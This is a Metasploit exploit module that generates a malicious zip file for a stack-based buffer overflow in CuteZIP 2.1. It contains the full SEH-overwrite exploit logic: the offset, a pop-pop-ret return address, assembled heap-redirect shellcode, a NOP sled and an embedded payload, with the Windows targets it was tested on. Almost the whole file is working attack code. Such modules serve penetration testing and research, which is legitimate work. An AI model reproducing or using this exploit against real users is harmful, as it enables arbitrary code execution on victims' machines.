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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/zip'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'GlobalSCAPE CuteZIP Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack-based buffer overflow vulnerability in version 2.1
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          of CuteZIP.
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          In order for the command to be executed, an attacker must convince the target user
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          to open a specially crafted zip file with CuteZIP. By doing so, an attacker can
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          execute arbitrary code as the target user.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc
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          'juan vazquez' # Metasploit
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        ],
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        'References' => [
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          [ 'OSVDB', '85709' ],
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          [ 'EDB', '16162' ],
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          [ 'BID', '46375' ]
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        ],
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        'Platform' => [ 'win' ],
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        'Payload' => {
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          'BadChars' => "",
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          'DisableNops' => true,
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          'Space' => 3000 # Limit due to the heap chunk size where the payload is stored
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        },
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        'Targets' => [
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          [
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            # Tested successfully on:
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            # * Windows XP SP3
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            # * Windows Vista SP2
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            # * Windows 7 SP1
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            # (NO DEP)
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            'CuteZIP 2.1 / Windows Universal',
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            {
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              'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe
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              'Offset' => 1148,
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              'Nops' => 398
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            }
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          ],
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        ],
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        'DisclosureDate' => '2011-02-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
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      ]
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    )
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  end
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  def exploit
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    redirect_heap = <<-ASM
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      popad
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      popad
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      popad
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      push ecx
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      pop eax
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      call eax
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    ASM
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    crafted_file = rand_text(target['Offset'])
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    crafted_file << generate_seh_record(target.ret)
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    crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string
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    crafted_file << make_nops(1) * target['Nops']
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    crafted_file << payload.encoded
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    # Create the file
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    zip = Rex::Zip::Archive.new
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    xtra = rand_text(4)
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    zip.add_file(crafted_file, xtra)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(zip.pack)
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  end
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end
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